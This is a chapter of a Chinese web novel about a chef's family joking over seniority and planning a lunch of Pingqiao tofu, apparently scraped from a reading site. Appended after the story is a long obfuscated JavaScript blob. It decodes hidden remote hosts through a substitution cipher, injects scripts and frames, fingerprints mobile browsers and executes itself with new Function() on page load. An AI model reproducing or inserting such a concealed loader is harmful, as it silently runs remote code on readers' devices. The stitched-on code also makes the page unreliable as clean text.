第478章 平桥豆腐完毕(1 / 2)

硬核厨爸 旁墨 2141 字 2022-04-20

中午的时候,林瑞峰带着沈卿洛和刘婉华一起来到苏记,然后苏记也回荡起了一阵之前刘婉华一样笑声。

卢翠玲笑着说:“哎呦,我们小林可真的是有点惨,硬是因为拜师学个厨,辈分上已经降了,现在找了个女朋友,彻底坐实了降一辈啊。”

沈卿洛听了洋洋得意说:“那没办法,他现在算是我的人了,所以就要跟着我叫,而且我都没有从我太姥姥那边叫啊,不然的话,他以后要跟着我一起叫太姥姥的,辈分就更低了。”

刘婉华听了伸出手,像是个长辈一样点了点沈卿洛的额头。

“你这个小丫头,你要是敢叫我太姥姥,就别来了,我哪有那么高的辈分啊?你就叫我姥姥就对了,我跟你姥姥是好姐妹的。”

沈卿洛笑着抱住刘婉华胳膊说:“可是您和我太姥姥也是同事嘛,还是师姐妹呀。”

刘婉华摇头说:“那只是当时进厂时候的安排,我本来应该和你姥姥年纪差不多。”

沈卿洛笑着说:“好嘛,我不是叫您姥姥了嘛。”

刘婉华笑着点点头,然后又对林瑞峰说:“瑞峰啊,你要是不习惯呢,你还叫我刘姨,大家街里街坊这么多年了,你叫习惯了,一下子改口确实有点难度的。”

林瑞峰看了一眼沈卿洛,马上说:“没事,本来我拜了师,也就应该改口的,不能叫荣叔,也不能叫您刘姨,现在就干脆跟着卿洛一起改口,以后叫师爷,还有姥姥好了。”

冯一帆笑着说:“这可怎么好?我们家若若一下子辈分提升了好多啊。”

苏若曦伸手拍了丈夫一下:“你别在这起哄,就想着你家女儿,你赶紧去做饭,中午我们可是要吃好吃的。”

冯一帆笑着问:“那中午,大家有什么特别想吃的菜吗?”

刘婉华想了想说:“我听说,昨天中午一帆你做了一份文思豆腐,我倒是想到了一道相似的菜,好多年都没有吃到过了,以前也就是泉晟叔还在的时候,曾经专门在这个季节做过那个菜。”

冯一帆闻言先是一愣,接着和岳父对视一眼,翁婿俩也是想到了刘婉华所说的菜。

“是我们淮城的那一道‘平桥豆腐’吧?”

刘婉华点点头:“对,就是平桥豆腐,一帆你能做吗?”

冯一帆仔细想了想,便答应下来:“可以,今天中午就给大家做这一道平桥豆腐吧。”

沈卿洛听了有些好奇:“姥姥,平桥豆腐,是什么菜啊?”

刘婉华笑着说:“这个菜,算是我们淮城本地菜,有那么一些类似文思豆腐,但不是切成细如毛发的豆腐丝,而是切成一种仿佛雀舌般的小菱形片,做法上类似文思豆腐那样,可是调味上又有些区别,因为需要用虾籽。”

冯一帆接过话说:“文思豆腐是把豆腐和配菜切丝,平桥豆腐是把这些都切成雀舌状菱形片,然后同样是用清亮高汤煨出来,但是平桥豆腐口味更丰富,随着季节有一些变化,比如现在加虾籽调味,秋天便是加蟹粉。”

沈卿洛听了顿时很好奇:“哇,这么精细吗?听着很棒啊,跟之前姥姥说过的狮子头一样,花样百出的做法呢。”

刘婉华点头:“对,所以这平桥豆腐,口味上比文思豆腐丰富很多的。”

沈卿洛非常期待:“好呀,我要吃呢,姨夫你要给我们好好做。”

冯一帆笑了笑说:“说起来,平桥豆腐切起来可比文思豆腐简单些。”

听到“简单”这两个字,苏锦荣和刘婉华相视一眼,这两位见识过的老人,可是对这“简单”二字体会深刻。

苏若曦看到父亲和刘姨对视目光,又想到丈夫通常说“简单”后的结果。

她忍不住说:“你每次说简单,那对很多人来说,都是只能说‘告辞’的菜。”

冯一帆认真说:“确实比文思豆腐简单些。”

苏若曦直接催促丈夫:“行了,你别简单简单的,你赶紧去做吧,这马上就中午了,你还要让我们等到什么时候啊?”

冯一帆站起身说:“行,行,听老婆大人的,现在就去做。”

沈卿洛见冯一帆走向后厨去,马上对林瑞峰说:“你快点跟着姨夫去,记得好好学啊,以后你也要给我做。”

刘婉华听到沈卿洛的话,笑着说:“你这个小丫头,可真的是凶,不能对瑞峰好点啊?你不能看到瑞峰老实,你就去欺负他。”

沈卿洛马上跟刘婉华撒娇:“姥姥,我哪有嘛,才没有欺负小林呢,不信你问问他。”

苏若曦笑着说:“你在这,小林敢说实话吗?”

沈卿洛被这么一说,顿时有点不好意思了。

林瑞峰则是赶紧说:“没有的,其实卿洛没有欺负我的。”

卢翠玲看到这样子,站起身来推着林瑞峰:“行了行了,你赶紧去厨房吧,你再不去,你师父的手艺你就学不到了,至于你和小沈之间的事情,你们回头自己去聊,我们不管。”

林瑞峰看了一眼沈卿洛,后者也是嫣然一笑,向他点了点头,还悄悄挥挥手。

见到女朋友笑了,林瑞峰这才放心向后厨走去。

等他进了后厨,刘婉华问身边对沈卿洛:“卿洛,你是真的和瑞峰谈朋友啊?”

沈卿洛认真点头:“当然是真的啊,姥姥,你怎么还这样问我?你难道是觉得,我和小林他开玩笑的吗?我可是很认真的。”

卢翠玲接着问:“那你不觉得,瑞峰这小子有一点太老实,太憨了吗?”

沈卿洛说:“对啊,但是我就喜欢他这样,我觉得很可爱啊,而且我很喜欢他认真的样子呢,我觉得他认真起来,一定能赶上冯大厨的,那我以后可以吃到好多美食啊,不用总来苏记。”

刘婉华听了笑起来:“哈哈哈,以前常说要想留住丈夫的心,先要留住他的胃,现在怎么就反过来了呢?”

这话把苏若曦也给说的有点不好意思了。

卢翠玲看到则说:“这应该叫,懂得吃的女孩子,那一定是心地善良,容易收获幸福的。”

这么一说,让苏若曦和沈卿洛都笑了起来。

外面餐馆里开心笑着,后厨里冯一帆也已经把备料拿出来,开始为午饭做准备。

平桥豆腐只是一道菜,当然还需要准备些其他菜肴才行。

比如准备一份苏若曦和刘婉华都喜欢的《豆腐鮰鱼狮子头》。

还有母亲喜欢的黄焖小黄鱼。

以及岳父喜欢的荷塘小炒、清炒虾仁。

因为中午只有这么一些人,所以冯一帆没有准备很多菜肴,当然菜品味道上也是清淡为主。

毕竟三位老人都是要吃的清淡,而年轻人也是适当加入一些稍稍浓口菜。

冯一帆自己一边准备,一边还不忘顺便教导一番徒弟。

!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();